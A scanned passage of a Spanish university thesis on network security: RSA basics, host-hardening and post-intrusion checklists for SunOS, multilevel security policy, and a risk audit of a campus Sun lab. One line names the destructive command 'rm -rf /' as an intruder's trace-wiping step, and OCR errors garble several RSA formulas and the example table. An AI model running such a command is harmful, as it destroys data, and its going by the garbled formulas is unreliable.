RSA es un sistema de encriptamiento de llave pública utilizado para autentificación y encriptamiento. Fue inventado en 1977 por Ron Rivest, Adi Shamir y Leonard Adleman [3] en el MIT, el funcionamiento es el siguiente: Se toman dos números primos grandes ( "p" y "q"). Se determina el producto de ambos n=p*q. (n es llamado el módulo). Se escoge un número, "e", menor que "n" y relativamente primo a (p-1 )*(q-1 ). Se encuentra su inverso, d, mod(p-1 )*(q-1 ), el cual significa que d*e= 1 mod(p-1 )*(q-1 ). "e" y "d" son llamados exponentes público y privado. La llave pública es el par (n,e), la llave privada es "d". Los factores "p" y "q" deben destruirse o mantenerse en secreto.

Presumiblemente es difícil obtener la llave privada "d" desde la llave pública (n,e).

58

Page 58: Estrategias para incrementar la seguridad de una red

Capítulo IV

Ejemplo: 1.- p = 3 2.- n = 3 * 11 = 33 3.- d =7 4.- e * d = 1 (mod 20)

e=3

q = 1 1 z = (3-1)*(11-1) = 20

RSA nos pennite realizar dos funciones importantes no proveídas por DES: Firmas digitales e intercambio de llave segura. A continuación veamos como RSA puede ser utilizado para obtener privacidad y autentificación.

Privacía con RSA: Ricardo quiere enviar un mensaje privado ("m") a Adolfo. Ricardo crea el texto cifrado "c", de la siguiente fonna:

e =tlmodn donde "e" y "n" son la llave pública de Adolfo.

Para decifrar el texto, Adolfo realiza la siguiente función:

m= cdmodn

y recupera el mensaje original "m"; la relación entre "e" y "d" asegura que Adolfo recupere correctamente el mensaje "m". Como sólo Adolfo conoce "d", entonces sólo él podrá decifrar el texto.

Ejemplo:

m = mensaje = S = 19 d=7 e=3

n =33 e = nfmod 33 = Texto cifrado

Entrada Código m3 e =m3mod33 c7 c7mod33 Símbolo

s 19 6859 28 13492928512 19 s u 21 9261 21 1801088541 21 u s 19 6859 28 13492928512 19 s A 01 1 1 1 01 A N 14 2744 J. 78125 14 N A 01 1 1 1 1 A

Autentificación con RSA:

Supóngase que Ricardo quiere enviar un documento firmado "m" a Adolfo. Ricardo crea una firma digital "s" de la siguiente fonna:

donde "d" y "n" pertenecen a la llave privada de Ricardo.

Entonces Ricardo envía "s" y "m" a Adolfo. Para verificar la finna, Adolfo realiza la función y checa que el mensaje "m" ha sido recuperado:

m=lmodn donde "e" y "n" pertenecen a la llave pública de Ricardo, por lo que sólo Ricardo pudo haber encriptado el mensaje "m".

59

Page 59: Estrategias para incrementar la seguridad de una red

Capítulo IV

Encriptamiento y Autentificación toman lugar sin necesidad de realizar un intercambio de llaves privadas, cada persona utiliza sólo las llaves públicas y su, o sus propias llaves privadas. Cualquiera puede enviar un mensaje encriptado o verificar un mensaje firmado usando sólo llaves públicas, pero sólo aquel que posea la llave privada correcta podrá decifrar el mensaje. La complejidad de RSA radica en la factorización de números primos muy grandes.

Existen algunas posibles interpretaciones para romper RSA. La más dañina puede ser hecha por un atacante para descubrir la llave privada correspondiente a la llave pública asignada. El camino ovbio para realizar este ataque es factorizar los modulas "n" en sus dos factores primos ( "p"y "q"), con los valores "p", "q" y "e", que es el exponente público, el atacante puede obtener "fácil" la llave privada. El único problema con el que se va a encontrar es que antes se necesita factorizar "n", en los valores; La seguridad de RSA depende de la dificultad de RSA.

En el ejemplo mostrado pusimos un valor de "p" y "q" muy pequeños, pero cuando éste valor de números primos cambia por otro número bastante mayor, el producto genera un "n" muy grande, el proceso de encontrar los factores primos utilizados es realmente un gran reto.

4.6 Integridad de la información.

La integridad de la Información tiene que ver con el estado que ésta mantiene desde la última vez en que fue verificada, debe asegurarse que la información es correcta, completa y sin cambios. El valor de la integridad de la información puede variar dependiendo de la clasificación en que ésta se ubique, por ejemplo, no tiene el mismo valor la información que se maneja en la cartera de clientes de un banco que la información que se mueve para determinar ventajas competitivas de una empresa. ¿Cual es la diferencia?, la información de los clientes del banco, deberá ser verificada, ya que si dicha información es cambiada se puede llegar a cometer fraude, por lo tanto se debe asegurar que esta información sea clara, veráz y completa. En el caso de la información estratégica, sería catastrófico que la competencia pudiera modificar ésta información y causara confusiones de grandes magnitudes en la compañía.

Tradicionalmente los mecanismos de control de acceso mantienen bitácoras y permisos de los usuarios que pueden accesar la información, pero este tipo de mecanismos no son suficientes para proveer el grado de integridad requerida. Los "checksum" son rutinas sencillas que pueden determinar un valor para un sistema de archivos específico y compararlo con el último valor conocido. Si ambos valores son iguales, significa que el sistema de archivos no ha cambiado, en caso contrario el sistema ha cambiado por alguna razón desconocida y es probable que exista ahora en nuestro sistema algún caballo de troya.

Debido a que éste mecanismo aún puede ser burlado por los crackers, es posible usar algún otro más robusto que un simple "checksum", un CRC es considerablemente más robusto, sin embargo no deja de ser también una forma de saber que ya hemos sido atacados, es por ésto que debemos estar preparados y conscientes que la información dentro de nuestro sistema puede ser modificada en cualquier momento.

Un par de ideas que se antojan más convincentes, tienen que ver con proteger todos aquellos sistemas de archivos importantes y confidenciales:

La primera forma puede ser que implante una alarma asociada a cada sistema de archivos que se haya declarado como importante, la alarma se deberá activar en el momento en que se detecte que un archivo ha cambiado de fecha, tamaño e incluso contenido, etc, (la alarma puede ser en forma de un "bip" que el sistema lance a la consola del administrador, un correo electrónico, la desactivación de la conexión, etc ... ).

La segunda idea se refiere a que la información importante y con clasificación de confidencial sea almacenada en forma encriptada en una cinta magnética en forma de respaldo, en un lugar seguro y de poco acceso para cualquier persona no relacionada con la administración de la red, y el algoritmo para descifrar la

60

Page 60: Estrategias para incrementar la seguridad de una red

Capítulo IV

información sea almacenado en otro lugar diferente, ésto con el fin de que si la cinta llega a manos extrañas, la información cifrada no podrá ser utilizada sin el algoritmo que la descifre.

4. 7 Disponibilidad de la información.

La disponibilidad de la información se refiere a que el usuario que se ha certificado como confiable, con ciertas responsabilidades y derechos dentro de un site, tenga acceso a la información que se ha acreditado, en cualquier momento que éste disponga, siempre y cuando se apegue a las políticas que el site determine. Es claro entonces que a partir de aquí se determinarán los niveles de acceso para cada usuario en la red. El administrador del sistema podrá tener derecho a ciertos privilegios sobre el usuario normal con el fin de asegurar la disponibilidad, respetando la integridad y confidencialidad de la información de los usuarios.

4.8 Lista de chequeo para una máquina:

Como explicamos anteriormente, existen casos en que por descuido o por ignorancia, podemos dejar a disposición de crackers un host, es por eso que a continuación se enlista una serie de comandos y procedimientos útiles para determinar la vulnerabilidad de un host. Este tipo de listas pueden ser automatizadas por el administrador para que se use como una herramienta de monitoreo continuo y puede crecer o perfeccionarse a las necesidades del administrador a fin de hacer la labor de operación y administración más sencilla. Es recomendable que este tipo de herramientas no sean programadas en un crontab, ya que un cracker que se encuentre espiando contantemente el cite, puede considerar este proceso como una operación rutinaria en una hora determinada y puede determinar atacar la herramienta.

a) Para asegurarse que la máquina no está corriendo algún proceso innecesario, corra el comando rpcinfo -p en el host.

b) Revise la configuración del /etc/host.equiv, asegúrese que no guarde un"+". e) Asegúrese de que el tftp se encuentre deshabilitado en el sistema, si no deshabilitelo. Si realmente es

necesario tenerlo habilitado, bajo ninguna circunstancia lo ejecute como root. Cambie la línea descrita en el archivo "/etc/inetd.conf' a algo como lo siguiente:

tftp dgram udp wait nobody /usr/etc/in.tftpd in.tftpd -s /tftpboot

o mejor aún, utilice algún "tcpd wrapper", para proteger de direcciones que no deben tener acceso a tftpd, la siguiente línea muestra la forma de declarar el uso del tcp_wrapper en el archivo "/etc/inetd.conf':

tftp dgram udp wait nobody /usr/etc/tcpd in.tftpd -s /tftpboot

y edite el archivo /etc/host.allow para restringir el acceso a in.tftpd a aquellas direcciones que realmente lo necesiten.

d) Revise crontab y asegúrese que no hay bombas esperando ser activadas. e) Revise /etc/rc.boot, /etc/re.local y otros archivos que son cruciales para el arranque del sistema, lo mejor

es comparar éstos archivos con aquellos que usted guarde en otros medios. f) Revise todos aquellos archivos que contengan la configuración del sistema y verifique su estado. g) Revise los archivos /etc/services y /etc/inetd.conf y asegúrese que no tengan activos servicios que no están

permitidos. h) Copie todos los archivos bitácora ("logfiles") que tenga (los más comunes: pacct, wtmp, lastlog, sulog,

syslog, authlog, archivos en /tmp y cualquier otro que usted haya creado) a algún lugar seguro y fuera del host para que pueda anlizarlos después.

i) Realice un respaldo de la tabla de usuarios (etc/passwd) y revise que las cuentas importantes no hayan cambiado.

61

Page 61: Estrategias para incrementar la seguridad de una red

Capítulo IV

j) Recuerde que la única tenninal segura en el site es la consola del administrador, por lo que el acceso a la misma debe ser controlado.

k) Asegúrese de que los archivos /etc/host.equiv, .rhosts y hosts.lpd no tengan un caracter #,recuerde que si algún intruso cambia el nombre de su máquina a#, será considerada como host confiable y tendrá penniso para accesar este host.

1) Recuerde que todo el tiempo debe estar alerta ya que un ataque puede surgir en cualquier momento y desde cualquier lugar.

4.9 ¿ Qué debo hacer para verificar mi site después de un ataque?

El siguiente tema propone una serie de pasos a seguir después que nuestro site ha sido visitado por algún intruso. Siempre es bueno tener una guía que me permita saber que es lo que debo hacer después de una situación tan desagradable como ésta.

a) Trate de seguir la ruta por la cual el intruso ha logrado el acceso, esto es ir de la última máquina visitada hasta .... hasta donde se encuentre el último rastro. Who, w, last, lastcom, netstat, snmpnetstat, infonnación de ruteadores, /var/adm/messages, syslog, wrapper logs son las herramientas con que cuenta para seguir el rastro del intruso. Recuerde que antes debe hacer una revisión de los comandos del sistema con el fin de asegurarse que no existan trap doors. Los binarios que pudieron ser reemplazados son:

/bin/login, los que son llamados por inetd, netstat, ps, Is, ifconfig. Realice cálculos de "checksum" y compárelos con los originales. El comando "finger" le puede ser útil para saber desde dónde fue el último acceso de la cuenta que está bajo sospecha. Realice una revisión de los archivos .history y .rchist, ya que éstos guardan la infonnación que dejan los shell que se han usado.

b) Deshabilite la máquina para acceso remoto. Incluso si es posible desconecte ésta de Internet, si el intruso se entera que están sobre él, quizá intente borrar su rastro ejecutando: nn -rf /.

c) Revise los archivos .rhosts y .forward usando el ejemplo siguiente, de todos los usuarios. si .rhosts guarda '+ +' , entonces la cuenta puede ser accesada por cualquiera desde cualquier host remoto.

find / -name .rhosts -Is -o -name .forward -Is

d) Busque todos los archivos creados o modificados a la hora en que se sospecha que se realizó el ataque.

El siguiente ejemplo sirve para conocer todos los archivos que fueron modificados desde no menos de un día y no más de dos días.

find / -ctime -2 -ctime + 1 -Is

e) Revise y compare todos los .login, .logout, .profile, .cshrc contra los que se autorizaron por última vez. f) Busque archivos o directorios llamados'. 'ó ' .. ',ocasionalmente son dejados en /tmp, /var/tmp o

/usr/spool. g) Revise que los sistemas de archivos exportados no tienen penniso de escritura para todos. h) Revise también que es lo que está "importando". i) Asegúrese que tiene implementado el más nuevo demonio de sendmail. j) Envíe correo electrónico a todos los siles vecinos para que verifiquen la existencia de algún sospechoso,

envíe copia al CERT ([email protected]). k) Realice un estudio detallado de la topología de su red. Si ya lo tiene, detennine si es necesario implantar

un conjunto de políticas de seguridad en el site.

62

Page 62: Estrategias para incrementar la seguridad de una red

Capítulo IV

1) Estudie la posibilidad de instalar un "firewall", para reducir o detener la entrada a intrusos no deseados. Se explica con más detalle en el capítulo VI, lo que es un firewall y su funcionamiento.

m) Siga las sugerencias de rutina. n) Realice programas a scripts para que hagan un chequeo general de cada máquina. o) Si ya sabe cuál fue el método utilizado por el cracker, realice un reporte de lo sucedido. p) Si ya sabe que debe hacer para evitar este tipo de ataques publique un reporte del incidente; en caso

contrario pida ayuda al CERT.

Sugerencias de rutina:

1) Dejar un reporte que describa la experiencia ocurrida 2) Implementar y utilizar herramientas que verifiquen que los usuarios cambian sus passwords en forma

regular. 3) Instale anlpasswd, npasswd o passwd +, para obligar a los usuarios a que escojan passwords seguros. 4) Corra Password Cracker (Crack), Ref.: [51], para asegurarse que los passwords no son tan vulnerables. 5) Trate de instalar todos los parches de seguridad que el proveedor le proporcione.

4.10. Políticas de Seguridad.

Una política de seguridad describe cómo la gente puede accesar la información, y consiste en un conjunto de reglas precisas que determinan la autorización como base para tomar decisiones de control de acceso. La autorización depende de los atributos de seguridad (privilegios) de los usuarios y de la información.

Las reglas en vigor para todos los documentos del departamento de defensa de E.U. (DOD), conocidas bajo los nombres de "Military Security Policy" y "Mulilevel Security Policy" (MLS), especifican:

• Toda la información tiene asociada una clase de seguridad (Clasification). • Toda persona tiene asociado un nivel de autorización (Clearance).

En su origen la política Multinivel (MLS) no dice nada respecto a destrucción o modificación de la información.

En una política Multinivel, una persona tiene derecho de leer un documento si las dos reglas siguientes son respetadas:

1.- El nivel de autorización de la persona es superior o igual a la clasificación de la información. 2.- El conjunto de las categorías de la persona domina al conjunto de categorías de la información.

Para desarrollar un modelo de seguridad multinivel, se deben seguir los siguientes pasos:

Determinar las propiedades de los sujetos y las acciones permitidas hacia los objetos. Paso I: Definición de variables de estado. Paso 2: Definición del estado seguro Paso 3: Definición de las funciones de transición Paso 4: Probar que las Funciones de transición conducen a un estado seguro. Paso 5: Definición de estado inicial y Paso 6: Prueba de que el estado inicial es seguro

La naturaleza de las clasificaciones de seguridad y de los niveles de autorización son las siguientes:

• Un nivel se seguridad. No clasificado

63

Page 63: Estrategias para incrementar la seguridad de una red

Confidencial Secreto Ultra secreto

Los niveles de seguridad están ordenados linealmente:

No clasificado < Confidencial < Secreto < Ultra secreto

• Un conjunto de categorías. Seguridad OTAN ONU ITESM

Capítulo IV

Las categorías son independientes unas de otras, sin embargo una relación de dominio de orden parcial, es definida sobre ellas.

Un conjunto de categorías A domina otro conjunto de categorías B, si y sólo si B es un subconjunto de A.

4.11 Porqué es importante la seguridad.

Como hemos visto anteriormente, hablar de seguridad computacional es hablar de lo extenso y difícil que puede ser la administración de un sistema, la seguridad actualmente está tomando un rumbo interesante, precisamente por el alcance que tiene hoy en día, y a pesar que es una razón importante, recordemos que la Internet es más que un conjunto de cables y máquinas conectadas entre sí, y la gente que la forma resulta ser uno de los factores más importantes. Existe gente que ha dedicado mucho tiempo y esfuerzo a la integración de éste nuevo mundo y se ve ahora preocupada por lo insegura que se encuentra la información, pero también existe gente que no le importa el trabajo ajeno y está dedicada a ingresar en forma no autorizada a las redes públicas. Tratemos de crear cultura en nuestros usuarios y hacerles llegar el mensaje de la importancia y responsabilidad que implica el ser poseedor de una cuenta en un host conectado a Internet.

La seguridad computacional surge como una necesidad, todos sabemos que ésta no es la solución a todos los problemas existentes al respecto, pero si hoy no se empieza por hacer algo quizá mañana sea demasiado tarde.

64

Page 64: Estrategias para incrementar la seguridad de una red

Capítulo V

Capítulo V.

Análisis de la red de Sun de los LCE.

5.1 Análisis del entorno.

Antes de integrar estrategias para lograr obtener un nivel mayor de seguridad, se debe tener un enfoque global del entorno y de lo que se pretende proteger.

De acuerdo a la información obtenida con base en preguntas y comentarios que se hicieron a varios administradores de red en el CEM, pudimos notar que la red del ITESM CEM es una de las más visitadas por intrusos. Con base en éstos comentarios decidimos corroborar la información obtenida.

Se corrieron varias aplicaciones (mismas que fueron obtenidas en forma gratuita desde la red y de las que se dan detalles en el capítulo VI), y se practicaron varios ataques pasivos, aunque pudo haber sido muy simple el realizar un ataque activo o modificar información en algún servidor del CEM.

Los resultados fueron sorprendentes, era incluso posible lograr accesos a redes de otros campus y lograr alguna cuenta de root en aquel campus. Nuestro problema es pues uno a nivel sistema.

He aquí una lista de dichos resultados:

a) Se obtuvo cerca del 20% de passwords crackeados en el CEM. b) Existía una gran cantidad de cuentas sin password. c) Usuarios con el identificador de usuario (uid) igual a cero, sin ser root autorizados. d) Una gran cantidad de cuentas con permisos de escritura para todo mundo. e) Sistemas de archivos que pertenecían a root y que no debería serlo y viceversa. f) Sistemas de archivos exportados por NFS sin restricciones. g) /etc/host.equiv con el caracter "+" h) usuarios con .rhosts y) máquinas cliente con archivos de arranque modificados j) "logfiles" o archivos bitácora, con rastros de intento de acceso a root. k) archivos bitácora con múltiples accesos de lugares con cuentas externas.

y más ....

Estos resultados nos dieron bastante información como para presumir que muchas de las visitas no deseadas pudieron haber hecho lo que su capacidad y alcance les permitiera. De modo que realmente todo lo que los administradores nos comentaron era cierto, la red del ITESM es una de las más inseguras.

Nuestra posición fue citar a todos los administradores de red, a una junta en la cual se discutiera el asunto, en dicha junta se pidió a cada administrador presente, corregir y aumentar una encuesta de carácter confidencial de siete páginas en la cual se pretendía obtener una información más global de la Red ITESM. (Ver anexo C).

El problema que surgió fue la disponibilidad de algunos para hacernos llegar la petición, sin embargo obtuvimos muy buena respuesta por parte de otros y obtuvimos la información suficiente que nos permitió seguir adelante.

65

Page 65: Estrategias para incrementar la seguridad de una red

En resumen, obtuvimos la siguiente información: Plataformas que operan en el ITESM CEM: Número de cuentas en el CEM. La información que maneja el servidor:

La frecuencia de respaldos de algunos servidores: Forma de exportar de algunos servidores: Estrategias que utilizan algunos para combatir a los intrusos: Servicios que provee:

Herramientas de Seguridad utilizadas:

Capítulo V

PS, Mac, NeXt, Sun, RS/6000, HP 8638 Paquetería, correo electrónico y cuentas de alumnos y profesores. Diaria. Con permiso de "everyone". Ninguna. Todos los servicios "r"(rlogin, rexec, rsh, etc.)

COPS y SATAN.

Como podemos observar, muchos de ellos conocían algunas herramientas de seguridad y al parecer muchos se veían poco preocupados al respecto, e incluso no le prestaban atención, necesitaban más justificación para realizar un trabajo de éste tipo, y a que a pesar de que la amenaza existía, no era importante pues existía un respaldo.

Debido a que la complejidad que plantea el CEM para lograr una integración de políticas a nivel campus se propuso comenzar por una subred pequeña en la cual se nos permitiera realizar algunas pruebas. Se escogió la red de Sun, de los Laboratorios de Cómputo Especializado, por las facilidades que nos otorgó el Director de éstos.

Uno de los principios para diseñar políticas de seguridad, plantea comenzar de lo particular a lo general con el fin de evitar una complejidad que en muchos de los casos pueda llevarnos al fracaso del proyecto. Aunque es cierto que debemos recordar: ¡ Divide y vencerás !.

"Una red mal configurada es un red insegura", esto es sin lugar a dudas muy cierto, pero si aún teniendo poco o mucho conocimiento del sistema sigue siendo insegura, es entonces cuando se debe utilizar herramientas de monitoreo y de chequeo, que nos permitan saber si existe alguien a quien se deba negar el acceso.

Los servidores de las redes que son vecinas a la red de los Laboratorios: sunlab, mexico, sunserv2, campus, rsfddi3, rsfddi2, rsfddi 1, academ0 1, tec-cem.

5.2 Análisis de la red a proteger. En los Laboratorios de Cómputo Especializado, se considera como usuario externo a todo aquel que no se encuentra inscrito como alumno o profesor del ITESM CEM. De acuerdo al riesgo que se tiene resulta difícil confiar en usuarios externos, el riesgo depende del tipo de información que se tenga almacenada y sea utilizada dentro y fuera del site.

Para poder definir el camino a seguir para determinar el análisis local se plantearon las siguientes preguntas, mismas que fueron contestadas por el Administrador de Red del Laboratorio de Sun:

1.- ¿ Quienes son los usuarios externos ? Los usuarios externos son todos aquellos que no se encuentran inscritos como alumno o profesor del ITESM CEM.

66

Page 66: Estrategias para incrementar la seguridad de una red

Capítulo V

2.- ¿ Porque habría de protegerse de usuarios externos? La información que almacena el servidor representa uno de los puntos más importantes a proteger, en éste se encuentra: servicio a profesores, servicio a alumnos, proyectos de investigación, clases programadas de los departamentos de Ciencias Computacionales y Sistemas de Información y Clínicas que fomentan el proceso enseñanza aprendizaje.

3.- ¿ Crees que sea necesario proteger la red ?. Si.

4.- ¿Cuales el riesgo de no implementar mecanismos de seguridad?. El riesgo existe, ya que esta red puede servir de puente para lograr saltar a otras redes.

5.- ¿Cuáles el tiempo promedio de utilización real del sistema?. De acuerdo a las estadísticas de ocupación del LCE Sun, se pudo estimar un promedio de 176.4 horas diarias de utilización. Tomando en cuenta todos los hosts existentes en el Laboratorio.

Si con un programa de crackeo, en un máquina no muy poderosa, en una hora se adivinaron 60 cuentas, ¿ que no se podrá hacer con más tiempo?.

6.- ¿ Cual es la estrategia de respaldo ?. Se hacen respaldos diarios, todo el sistema de respaldos caen sobre un robot, que es controlado por otro servidor ("rselec"). Hago notar que aquí se encuentra un gran peligro ya que si algún intruso logra entrar al servidor "rselec", entonces el riesgo de perder los respaldos es grande.

7.- ¿ El número de cuentas que maneja el servidor?. 8638 8.- ¿ En cuantas cuentas confía el administrador?. Solamente en la suya. 9.- ¿ Crees que el servidor se encuentra en un lugar seguro?. No. 10.- ¿ Las cintas de respaldo están en un lugar seguro ?. No. 11.- ¿ Cuál es el procedimiento para que un usuario cambie el password ?. Solo sentado físicamente en las maquinas de la red del Centro de Competitividad Internacional (CCI), y el cambio se tiene al siguiente día.

12.- ¿ El acceso físico es controlado?. Si, la persona que necesite hacer uso del LCE Sun, deberá presentar al operador en tumo la credencial vigente y canjearla en forma temporal por el préstamo de un pad que le servirá para poder usar la máquina que le ha sido asignada.

13.- ¿ Cuántos hosts hay en la red?. 33, 2 servidores: sunlab y sundic y 31 clientes.

14.- ¿ Qué tipo de información es monitoreada ?. Sólo la carga del CPU, de los servidores y máquinas siguientes: sunlab, mexico, sunserv2, puertorico, campus, rsfddil, rsfddi2, rsfddi3, academOly tec-cem.

15.- ¿ Qué tipo de servicios pennite el site ?. daytime, netstat, chargen, ftp-data, ftp, telnet, smtp, time server, nameserver, domain nameserver, bootps,

bootpc, tftp, finger, hostnames, pop, authentication, NeWS, exec, login, who, shell, printer, talk, uucp, rlogin y rsh.

16.- ¿ Cuál es el plan que se lleva a cabo para manejar un incidente de seguridad computacional ? . No hay plan definido.

67

Page 67: Estrategias para incrementar la seguridad de una red

Capítulo V

5.2.1 ¿La red del laboratorio está segura?.

Ninguna red está segura, toda red que está conectada a Internet, puede ser víctima de un ataque, teniendo como referencia la cantidad de hosts conectados ( aproximadamente 12,000,000), a Internet podemos afirmar que la amenaza es grande y está latente, sin lugar a dudas en probable que ocurra, no se sabe cómo ni cuando pero habrá que estar preparados.

En esta red se brinda servicio aproximadamente a 8000 posibles usuarios diferentes que pueden tener acceso por diferentes puntos, por una política adoptada por el administrador, se negó el acceso al servidor a todos los usuarios, exceptuando la cuenta del administrador y la cuenta de super usuario. Ésta medida es bastante buena pues se nota la preocupación por asegurar el recurso más importante del LCE.

5.2.2 Confianza en usuarios externos.

Debido a que el administrador tiene la buena costumbre de desconfiar en todos, en un principio sólo se permitía la entrada a la cuenta root desde el servidor, es decir, ninguna otra máquina podía realizar una petición de sesión remota con la cuenta root. Por ejemplo, si el usuario "riclopez" hiciera un intento de ingresar al servidor desde una máquina remota "guatemala", con el login name de root, el servidor rechazaría la petición de riclopez.

Lo que el administrador hizo, fue: declaró en el servidor que sólo la cuenta personal de usuario normal que él utiliza, podrá accesar al servidor "sunlab", y sólo desde la máquina "nemesis" y "mexico" de modo que la única forma de ingresar al servidor de forma remota es a través de la cuenta personal del administrador.

La postura del administrador en éste aspecto es clara, no confía en nadie mas que en él, es por eso que su cuenta sería la cuenta más buscada por los hacker y crackers, ya que les daría el primer paso hacia la cuenta de root en el servidor. Se puede afirmar que el riesgo de crackear ésta cuenta es bajo, por varias razones, la primera, el administrador no es tan ingenuo como para darle un password sencillo a la cuenta que maneja, la segunda, que tampoco va a permitir que otra persona conozca su password, y otra es que la cuenta personal que utiliza no es probable que se encuentre en diccionarios.

Esta es una buena medida para asegurar un recurso tan importante como lo es el servidor del laboratorio, ya que en éste cae toda la responsabilidad del buen funcionamiento y disponibilidad de la información.

5.3 Metodología aplicada al análisis de la seguridad. Hemos ahora de aplicar la metodología propuesta en el Capítulo I, con el fin de dar al lector una visión de la forma en como puede planear la seguridad en un proyecto de conexión a Internet, la metodología está basada en los recursos y necesidades de la red de Sun de los Laboratorios de Cómputo Especializado, plataforma SUN, y es la misma a la cual hemos hecho referencia en todo este trabajo.

5.3.1 Determinar el diagnóstico global de las condiciones de la organización.

En este punto es necesario realizar entrevistas con el administrador de red, con el fin de convenir cúal es la condición actual de la red y poder determinar medidas de corrección o lograr retroalimentación por la información que estén dispuestos a dar.

68

Page 68: Estrategias para incrementar la seguridad de una red

Capítulo V

Tamaño de la Empresa.

En este caso se decidió ver a los Laboratorios de Cómputo Especializado como un ente organizacional integrado por seis redes conectadas entre sí, de las cuales se ha determinado proteger a la denominada red de Sun que cuenta con el siguiente equipo:

31 Estaciones de Trabajo Sistema Operativo : Sun OS 4.1.3 y Sun OS 5.5, que es equivalente a Solaris 2.5. I Impresora Apple Lasser Writer Modelo 630. I Servidor llamado: sunlab.cem.itesm.mx Protocolo de comunicaciones: TCP/IP Servicios que provee: daytime, netstat, chargen, ftp-data, ftp, telnet, smtp, time server, nameserver, domain nameserver, bootps, bootpc, tftp, finger, hostnames, pop, authentication, NeWS, exec, login, who, shell, printer, talk, uucp, rlogin y rsh.

Presupuesto.

Para fines de este proyecto, el presupuesto estará solamente enfocado a adquisiciones necesarias de equipo o de personal para laborar en el proyecto, es claro que este proyecto corre a cargo de dos tesistas y que el valor del proyecto lleva un costo de investigación el cual es nulo para estos fines.

Necesidades del cliente.

Las necesidades del cliente están enfocadas a facilitar el uso de software especializado en el Laboratorio de Cómputo Especializado sin interrumpir las conexiones al exterior, evitar filtraciones no deseadas al sistema, obtener la máxima seguridad en los passwords que utilicen los usuarios, proveer al administrador de herramientas de monitoreo que le permitan verificar en forma constante la red que se encuentra a su cargo, y que la disponibilidad de la red no dependa de los mecanismos, servicios de seguridad y políticas a implantar.

Determinación del riesgo en los recursos a proteger:

Al realizar el análisis es importante saber identificar cuáles son los recursos y servicios cuya seguridad está en riesgo de ser quebrantada, para esto utilizamos la referencia [39] , que plantea la siguiente clasificación de recursos:

1.- Hardware: procesadores, tarjetas, teclados, terminales, estaciones de trabajo, computadoras personales, impresoras, unidades de discos, líneas de comunicación, servidores de terminal, enrutadores.

2.- Software: Programas fuente, programas objeto, utilerías, programas de diagnóstico, sistemas operativos, programas de comunicación e intranet.

En programas de comunicación entran todos los servicios de red que provee cierto recurso y que permiten la conexión o ejecución remota.

3.- Datos: durante la ejecución, almacenados, archivados en estantes, apoyos de tips, bitácoras de auditoría, base de datos, en tránsito durante una sesión.

4.- Gente: usuarios, operadores, administradores, intrusos.

5.- Documentación: sobre programas o scripts, sobre hardware, procedimientos administrativos locales, tips.

6.- Accesorios: cintas, disquetes, papel, formas.

69

Page 69: Estrategias para incrementar la seguridad de una red

Capítulo V

En la página siguiente se muestra una lista de servicios y recursos con los que cuenta el Laboratorio, con prioridades relacionadas, con el fin de enfocarnos a las más importantes y evitar que los esfuerzos se encaminen en forma equivocada.

Para la colección de los datos utilizó la hoja de trabajo para desarrollar un planteamiento de seguridad. Ref.[35]. (Anexo A y B).

El proceso de identificación de recursos debe considerarse como uno de los puntos más finos de la metodología ya que no podemos pasar por alto algún recurso de importancia para el "site". La importancia o peso se estimó en base al papel que juega el recurso dentro del Laboratorio de Sun, por ejemplo el servidor sunlab es un recurso de importancia = l, ya que de acuerdo a la escala establecida: Debe asignarse de acuerdo a una escala de 0.1 a I dónde l es muy importante y 0.1 es poco importante. La posibilidad de una amenaza se determinó de acuerdo a la escala numérica establecida, donde l la amenaza es baja y 10 la amenaza es alta, el valor se estimó en base al riesgo que tiene el recurso de sufrir un daño o ataque por personas ajenas. Para evaluar el riesgo se basó en la escala numérica establecida de l a l O, donde l es bajo y l O muy alto, y se tomó el criterio de asumir que un riesgo alto es aquel cuya falta implica un alto impacto sobre el site, por ejemplo. El servidor sunlab tiene una importancia alta (l ), la posibilidad de que el servidor se dañe por causas de externos es baja y el riesgo que se corre por la falta de éste recurso es alto.

De acuerdo a los números obtenidos, debemos tomar en cuanta los siguientes planteamientos:

1.- No existe la posibilidad de tener un riesgo igual a cero. 2.- No existe la posibilidad de tener una seguridad total, siempre existen amenazas. 3.- Debemos tener en cuenta la importancia de la red en la organización para poder interpretar el riesgo. 4.- Cada red es diferente entre sí y tiene riesgos y amenazas diferentes.

Los planteamientos anteriores deben ser utilizados en conjunto y podrán ofrecernos una retroalimentación general en la evaluación del riesgo, y de ser necesario determinar los planes y medidas correctivas para minimizar el riesgo evaluado.

La posibilidad de tener un riesgo igual a cero no puede existir, el simple hecho de que el recurso exista provoca que éste tenga un riesgo asociado, ya sea mínimo o máximo, de lo contrario el ente que se está evaluando no corresponde a un recurso de la organización y no debe ser tomado en cuenta para el análisis.

La posibilidad de tener una seguridad total tampoco puede existir, el fundamento se puede basar en la conclusión anterior, si el recurso existe, entonces existe un riesgo asociado, lo que provoca de manera directa que la amenaza existe y que por lo tanto el recurso no es 100% seguro, éstos planteamientos nos van a ayudar a aterrizar los resultados que se obtuvieron después de la evaluación del riesgo.

Otro punto que no debe ser olvidado es determinar la importancia de la red que estamos evaluando, ya que a partir de la importancia de la red, el valor del riesgo puede tener una interpretación diferente. La razón es simple, si en los resultados obtenidos en la evaluación de la red del Laboratorio de Sun, obtuvimos un riesgo de 6.4, ésto nos informa que el riesgo en la red puede ser alto, pero ¿cual sería la reacción si al evaluar la red del campus obtuviéramos el mismo resultado?. Recuerde que la red del Campus estado de México brinda conexión a más de I O campus en el sistema.

Es verdad que el enfoque cambia radicalmente dependiendo del tamaño e importancia de la red.

70

Page 70: Estrategias para incrementar la seguridad de una red

Capítulo V

El punto cuatro plantea una gran verdad, por ejemplo los riesgos de un servidor de correo no son los mismos para un servidor de aplicaciones. En una organización en la cual el servicio de correo es vital, quizá pueda ser poco importante el tener disponible el servidor de aplicaciones o viceversa. Es por eso que el valor de los recursos, en una organización, resultan totalmente diferentes en otra.

Como podemos ver, los cuatro puntos anteriores van ligados y deberán ser analizados en conjunto para poder determinar un resultado más coherente para la evaluación del riesgo en la red.

En nuestro caso específico, hemos obtenido los siguientes resultados:

El total obtenido en el riesgo para los recursos es de: 264 El total obtenido en los pesos de los recursos es: 30.6 El total del riesgo evaluado es: 198.6 El total de recursos a evaluar: 44 El riesgo Total es: 6.49019608

Planteando el primer punto, no existe la posibilidad de tener un riesgo igual a cero, entonces esto nos lleva directamente a que por "default" tenemos mínimo un riesgo de 1, pero si lo vemos en forma real, una red que tenga un valor de riesgo total igual a 1, significa que los recursos de la red no son importantes, y no es una red susceptible de evaluación, esto nos lleva a tomar un valor mínimo de 2 para el riesgo total y determinar que una red tiene un riesgo bajo.

